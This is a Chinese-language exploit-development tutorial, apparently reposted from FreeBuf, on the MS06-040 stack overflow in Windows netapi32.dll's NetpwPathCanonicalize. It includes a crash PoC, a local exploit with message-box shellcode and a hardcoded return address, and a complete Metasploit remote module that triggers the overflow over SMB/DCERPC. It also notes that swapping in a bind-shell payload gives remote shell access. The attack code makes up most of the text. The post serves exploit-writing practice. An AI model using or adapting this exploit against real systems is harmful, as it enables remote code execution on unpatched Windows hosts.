远程RPC溢出EXP编写实战之MS06-040

0x01 前言

MS06-040算是个比较老的洞了,在当年影响十分之广,基本上Microsoft大部分操作系统都受到了影响,威力不亚于17年爆出的”永恒之蓝”漏洞。漏洞成因是Windows中参与socket网络的netapi32.dll动态链接库里的一个导出函数NetpwPathCanonicalize()存在栈溢出,而且这个函数能够通过RPC远程调用。由于是栈溢出利用起来不算太复杂,正好用来实践编写metasploit的远程利用脚本。

0x02 前期准备

1. Windows XP Professional sp3(非必需,我因为VC6安装在这上面,只是用来编译POC) 2. Windows 2000 Professional sp0(其他系统版本可能需要重新调试,更高版本可能需要绕过部分安全机制) 3. Kali Linux x64(安装有metasploit framework latest) 4. 调试器:Ollydbg 1.10 5. 编译器: VC++ 6.0 6. 反编译器: IDA 6.8 7. 注意: 需要未打补丁的netapi32.dll,Windows 2000在C:\WINNT\system32目录下能找到, 或者用以下提供的dll,但远程exploit必须要带有未打补丁dll的系统。

相关下载:

链接:https://pan.baidu.com/s/1qZQ1vnY 密码:5stq

0x03 定位崩溃点

VC++ 6.0编译POC, 运行

#include"stdafx.h"
#include <windows.h>

typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);

int main()
{    
    char path[0x320];
    char can_path[0x440];
    int maxbuf=0x440;
    char prefix[0x100];
    long pathtype=44;

    HINSTANCE LibHandle;
    MYPROC Trigger;

    char dll[ ] = "./netapi32.dll";
    char VulFunc[ ] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);

    memset(path,0,sizeof(path));
    memset(path,'a',sizeof(path)-2);
    memset(prefix,0,sizeof(prefix));
    memset(prefix,'b',sizeof(prefix)-2);

    (Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
    FreeLibrary(LibHandle);

    return 0;
}

程序崩溃掉, OD附加上去, EIP被”aaaa”填充

执行文件拖到OD, 单步来到call netapi32.NetpwPathCanonicalize, 再往下程序崩掉

跟进NetpwPathCanonicalize函数, 执行MSVCRT.wcscat, 当retn时程序再次崩溃

此处应该就是崩溃点, 在IDA定位到该函数

copy”bbbbbb…”串到栈上

“bbbbb…”串尾部拼接一个0x005C

继续拼接”aaaaa…”串, 覆盖返回地址

0x04 本地exploit

漏洞的成因是在prefix串的基础上拼接path串时没有长度检查,导致栈溢出。下面通过构造prefix、path串实现本地exploit。

观察在崩溃函数retn时, ecx指向缓冲区的开始。这样可以把shellcode布置在”bbbbbb….”串里, 用一条call/jmp ecx跳到栈上执行

// ms06_040_exp.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>

typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);

char shellcode[]=
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08"
"\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c"
"\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01"
"\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e\x08\x45\x78\x69"
"\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01"
"\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x67\x20\x20\x01\x68\x79\x30\x75"
"\x6e\x68\x20\x77\x6f\x6f\x89\xe1\xfe\x49\x0b\x31\xc0\x51\x50\xff"
"\xd7";    // 弹框

int main()
{    
    char path[0x320];
    char can_path[0x440];
    int maxbuf=0x440;
    char prefix[0x100];
    long pathtype=44;

    HINSTANCE LibHandle;
    MYPROC Trigger;

    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";

    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);

    memset(path,0,sizeof(path));
    memset(path,0x90,sizeof(path)-2);
    memset(prefix,0,sizeof(prefix));
    memset(prefix,'a',sizeof(prefix)-2);
    memcpy(prefix,shellcode,113);

    path[0x318]=0xF9;        // call ecx,可能需要调试确定
    path[0x319]=0x52;
    path[0x31A]=0x18;
    path[0x31B]=0x75;

    (Trigger)(path,can_path,maxbuf,prefix,&pathtype,0);
    FreeLibrary(LibHandle);

    return 0;
}

pwn~

0x05 远程exploit

很好,现在已经能够本地溢出NetpwPathCanonicalize()函数,下面我们利用metasploit提供的类库来写一份远程exp

##
# Author: wooy0ung
# Date:    2018/01/15
##

require 'msf/core'

module Metasploit3
  CachedSize = 200

  include Msf::Payload::Single

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Windows Warning Box',
      'Description'   => 'Only for Version under Windows 7',
      'Author'        => [ 'wooy0ung' ],
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Payload'       =>
        {
          'Payload' =>
               "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08"+
        "\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c"+
        "\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01"+
        "\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e\x08\x45\x78\x69"+
        "\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01"+
        "\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x67\x20\x20\x01\x68\x79\x30\x75"+
        "\x6e\x68\x20\x77\x6f\x6f\x89\xe1\xfe\x49\x0b\x31\xc0\x51\x50\xff"+
        "\xd7"
        }
      ))
  end

end

以上是一段弹出警告框的payload,新建一个文本贴入以上代码,保存为warning.rb。

##
# Author: wooy0ung
# Date:    2018/01/15
##

require 'msf/core'  

class Metasploit3 < Msf::Exploit::Remote  
    Rank = GoodRanking

    include Exploit::Remote::DCERPC
    include Exploit::Remote::SMB::Client

    def initialize(info = {})

        super(update_info(info,
            'Name'           =>     "MS06-040 RPC Exploit",
            'Description'    =>     'Only for Windows 2000 Professional sp0',
                      'Author'         =>     [ 'wooy0ung' ],
            'Platform'       =>    "win",
            'DefaultOptions' =>    {'EXITFUNC' => 'thread',},
            'DefaultTarget'  =>     0,
            'Targets'        =>    [['Windows 2000 Professional sp0',  {'Ret' => [0x318 , 0x74FB62C3] }]]))

        register_options([OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),], self.class) 

    end

    def exploit

        connect()
        smb_login()

        handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188','3.0','ncacn_np',["\\#{datastore['SMBPIPE']}"])
        dcerpc_bind(handle)

        prefix = payload.encoded + make_nops(0x100 - payload.encoded.length - 2) + "\x00\x00"

        path = make_nops(0x318) + [target['Ret'][1]].pack('V') + 
        "\x04\xD0\xFD\x7F" * 5 +        # 可写地址(这里原本是崩溃函数传入的5个参数)
        "\x66\x81\xEC\x30\x04" +        # sub esp,430 (0x100 + 0x318 + 4 * 6 = 0x430 将esp指向payload起始)
        "\x8B\xC4" +                 # mov eax, esp
        "\xFF\xE4" +                # jmp esp
        "\x00\x00"                # Unicode结束符

        stub =    NDR.long(rand(0xffffffff)) +
            NDR.UnicodeConformantVaryingString('') +
            NDR.UnicodeConformantVaryingStringPreBuilt(path) +
            NDR.long(rand(250)+1) +
            NDR.UnicodeConformantVaryingStringPreBuilt(prefix) +
            NDR.long(rand(250)+1) +
            NDR.long(0)    

        begin
              dcerpc.call(0x1f, stub, false)
            rescue Rex::Proto::DCERPC::Exceptions::NoResponse
            rescue => e
              if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
                  raise e
              end
                end

           handler
               disconnect

      end  
end

以上则是利用脚本,保存为ms06_040.rb,主要是构造shellcode(在path做ROP,跳到prefix中执行payload),在Windows 2000下利用起来比较容易,不再作解释。

选择之前保存的exp和payload,设置好靶机ip,pwn~

当然,将普通弹框换成bind_shell的payload就可以拿到shell了~

0x06 后记

看了metasploit的exploits模块里MS06-040的利用脚本,发现这个洞一直影响到XP和Server 2003版本。因为主要是为了练习写metasploit框架的exp,所以就不继续延伸了。

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-01-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏24K纯开源

OpenProcess打开进程返回错误的问题

问题描述       项目中需要做一个小功能:能够查看系统中当前正在运行的进程的内存信息,如内存块类型、分配状态、访问权限等。如下图所示: ?       需要...

44610
来自专栏一只程序汪的自我修养

手把手教你用.NET Core写爬虫

自从上一个项目58HouseSearch从.NET迁移到.NET core之后,磕磕碰碰磨蹭了一个月才正式上线到新版本。

35012
来自专栏DeveWork

Mac OS X巧用AppleScript 制作网络位置切换自动化脚本(自动配置PAC 文件)

事情是这样的,自带的Macbook Air 在实习单位入的是办公网,办公网走自动代理(需要配置PAC 文件)。同时回来宿舍或家里需要民用的宽带网络。切换的时候出...

5445
来自专栏数据和云

监控工具:Oracle 12c Cluster Health Monitor 详解

? 戴明明(Dave) Oracle ACE-A,ACOUG核心成员,宝存科技数据库方案架构师 Dave也是CSDN 认证专家,超过7年的DBA经验,擅长O...

4229
来自专栏GopherCoder

『阅读源代码的姿势:以 go-restful 为例』

5813
来自专栏杨建荣的学习笔记

一天内碰到的3个rac节点问题 (r6笔记第36天)

说到问题,真是层出不穷,自己也算搭建了也不少的rac环境的,但是在本地试验的时候总是会碰到一些问题,昨晚铲掉旧环境,搭建了两遍rac环境,终于在凌晨搭建好了环境...

3467
来自专栏Java帮帮-微信公众号-技术文章全总结

Web-第二十三天 Web商城实战三【悟空教程】

<a href="${pageContext.request.contextPath}/OrderServlet?method=findByUid">我的订单<...

1821
来自专栏草根专栏

从头编写 asp.net core 2.0 web api 基础框架 (3)

Github源码地址:https://github.com/solenovex/Building-asp.net-core-2-web-api-starter-...

4977
来自专栏ml

unbuntu系统( PC机 )中安装360wifi步骤

少说废话,每一步都经过验证:   1.  首先查看一下当前使用的linux版本: gxjun@gxjun:~$ uname -r 4.8.0-59-generi...

3513
来自专栏Golang语言社区

阅读源代码的姿势:以 go-restful 为例

一般初学者确定一个方向,比如web 后端、前端等,会选择一门编程语言深入下去,比如后端java、python、go等。通过项目不断练习编程语言和编程思维,知道如...

1723

扫码关注云+社区

领取腾讯云代金券